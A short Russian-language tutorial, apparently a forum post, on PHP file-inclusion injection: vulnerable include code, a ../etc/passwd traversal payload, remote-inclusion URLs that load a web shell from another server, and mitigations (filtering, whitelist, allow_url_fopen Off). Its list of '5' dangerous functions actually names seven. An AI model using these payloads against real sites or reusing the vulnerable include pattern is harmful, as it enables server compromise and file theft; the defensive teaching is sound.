[Введение]
Сама суть выполнения инъекции данного типа заключается в выполнении постороннего кода на сервере.
Есть 5 типов самых потенциально опасных функций :
eval()
preg_replace()
require_once()
include_once()
include()
require()
create_function()
Рассмотрим простой уязвимый скрипт на примере module.php
PHP код:
$module = $_GET['module'];
include $module . '.php';
Скрипт уязвим, потому что к содержимому так как к содержимому $module просто прибавляется .php и по полученному пути просиходит подключение файла.
Вы можете создать файл
_http://site.com/whack.php
И если зайдете на сайт по ссылке типа :
_http://site2.com/whack2.php?module=http://rsite.com/whack/
То вам станет доступно выполнение любых php command.
[Использование]
1. Если у нас есть код данного типа :
Include ("sc<-b>ri<-b>pt/$module");
Вместо $module мы можем подставить:
../../../../../etc/passwd
Тогда мы получим вывод /etc/passwd.
Выполнить наш шелл находящийся на другом сервере мы уже не можем.
Тогда единственное, что для нас возможно - чтение произвольных файлов на сервере.
2. У нас имеется уязвимый параметр module.
Мы полноправно можем подставить вместо уязвимого параметра сайт с предварительно залитым на него вэб шеллом.
_http://wh-tm.ru/file.php?module=http://whack3/shell/
И тогда мы получаем includ файла shell.php на удаленный сайт.
[Защита от php injection]
На данный момент разработано несколько способов защиты вашего сайта от php injection :
1. Проверка переменной (в нашем случае $module) на наличие посторонних символов :
PHP код:
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
2. Проверка переменной (в нашем случае $module) на присовения одного из множества допустимых значений:
PHP код:
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
Имеется возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

